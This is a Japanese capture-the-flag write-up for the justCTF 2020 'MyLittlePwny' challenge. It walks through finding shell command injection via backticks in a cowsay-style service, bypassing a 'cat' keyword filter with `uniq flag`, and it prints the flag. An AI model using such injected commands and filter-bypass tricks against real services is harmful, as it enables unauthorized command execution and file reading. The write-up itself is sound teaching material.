🔖
justCTF 2020 - MyLittlePwny
問題概要
MyLittlePwny
Ponies like only one type of numbers!nc mylittlepwny.nc.jctf.pro 1337
ncでアクセスすると、入力を求められ、適当に入力するとcowsay
コマンドで実行したように入力内容をカラフルな馬が喋ってくれます。
解説
shellの実行を見つける
適当に入力していたのですが、一部記号が含まれていると喋れないようです。ということで、キーボードの記号を順番に1文字ずつ入れていきます。
決定的だったのは記号```で、以下の結果が返るだけで馬が出てきませんでした。
> `
/bin/sh: 2: Syntax error: EOF in backquote substitution
これ、shellで直接実行しているのでために\``によるサブクエリ実行で文法エラー起きてますね。ということは、入力に
`ls``を入れると...
> `ls`
__________________________________
< bin flag lib lib64 server.py usr >
----------------------------------
...(以下省略)
ということで任意コード実行できそう?と思ったのですが、\
cat flag``でフラグを見に行くと...
> `cat flag`
__________________________________
< I like cats :) >
----------------------------------
...(以下省略)
ファイル名を変えてもどうようのメッセージが表示されるので、cat
という文字列が含まれるとこれが出てくるみたいです。
エスケープを回避する
cat
は使えません。他のコマンドを上手く使って、何かしらの方法で表示する形になると思います。ここではあまり使用が想定されていないコマンドを使えば通りそうです。ということで、今回はuniq
コマンドを使います。
uniq
コマンドは「重複する行を削除して表示する」コマンドであり、今回は1行しか中身が存在しないことから実質cat
です。
> `uniq flag`
__________________________________
< justCTF{p0nY_t4lEs_b3giN5_h3r3} >
----------------------------------
感想
pwn...?misc...?という感じでした。shell実行を見つけるまでのパートと、以下にしてコマンドフィルタリング(cat
以外にもあります)を回避するかという形でしたね。
Discussion